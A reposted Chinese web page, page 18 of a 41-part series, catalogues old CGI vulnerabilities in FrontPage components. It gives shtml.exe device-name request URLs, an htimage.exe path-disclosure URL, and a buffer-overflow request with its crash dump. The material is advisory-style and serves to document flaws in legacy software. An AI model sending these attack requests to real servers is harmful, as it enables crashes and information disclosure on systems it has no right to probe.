CGI漏洞

作者: 来源:网络文章时间:2005-12-17 23:57:43

CGI漏洞(18) http://www.example.com/_vti_bin/shtml.exe/com1 ;
http://www.example.com/_vti_bin/shtml.exe/aux ;
http://www.example.com/_vti_bin/shtml.exe/pipe.htm ;
三十三.htimage.exe
htimage存在三个安全问题：
1、暴露web根目录本地磁盘路径，正如你在上面看到的，使用下面的方式可以成功看到对方的web目录
磁盘路径位置：
http://www.xxx.com/cgi-bin/htimage.exe/linux?0,0

CERN Image Map Dispatcher (/cgi-bin/htimage.exe) comes by default with
FrontPage. I found three bugs
in "htimage.exe": 1) Gives us the full path to the root directory 2) Simple
buffer overflow 3) Allow
us to Access files.
2、缓冲溢出：
在 windows9x上，目标为Microsoft-PWS-95/2.0和 FrontPage-PWS32的服务器上测试通过。
http://www.xxx.com/cgi-bin/htimage.exe/<;...1个字符>?0,0.
这时在被攻击目标的控制台上将发现如下错误：

HTIMAGE caused an invalid page fault in
module at 0000:41414141.
Registers:
0EAX=815c6240 CS=0137 EIP=41414141 EFLGS=00010246
EBX=0063fe28 SS=013f ESP=005400b4 EBP=005400d4

1.CGI漏洞(1)
2.CGI漏洞(2)
3.CGI漏洞(3)
4.CGI漏洞(4)
5.CGI漏洞(5)
6.CGI漏洞(6)
7.CGI漏洞(7)
8.CGI漏洞(8)
9.CGI漏洞(9)
10.CGI漏洞(10)
11.CGI漏洞(11)
12.CGI漏洞(12)
13.CGI漏洞(13)
14.CGI漏洞(14)
15.CGI漏洞(15)
16.CGI漏洞(16)
17.CGI漏洞(17)
18.CGI漏洞(18)
19.CGI漏洞(19)
20.CGI漏洞(20)
21.CGI漏洞(21)
22.CGI漏洞(22)
23.CGI漏洞(23)
24.CGI漏洞(24)
25.CGI漏洞(25)
26.CGI漏洞(26)
27.CGI漏洞(27)
28.CGI漏洞(28)
29.CGI漏洞(29)
30.CGI漏洞(30)
31.CGI漏洞(31)
32.CGI漏洞(32)
33.CGI漏洞(33)
34.CGI漏洞(34)
35.CGI漏洞(35)
36.CGI漏洞(36)
37.CGI漏洞(37)
38.CGI漏洞(38)
39.CGI漏洞(39)
40.CGI漏洞(40)
41.CGI漏洞(41)

共41页 9 7 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] 8 :>

CGI漏洞相关文章：

CGI漏洞相关软件：

特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员，我们尽快予以更正。
转载请注明来源：http://www.xgdown.com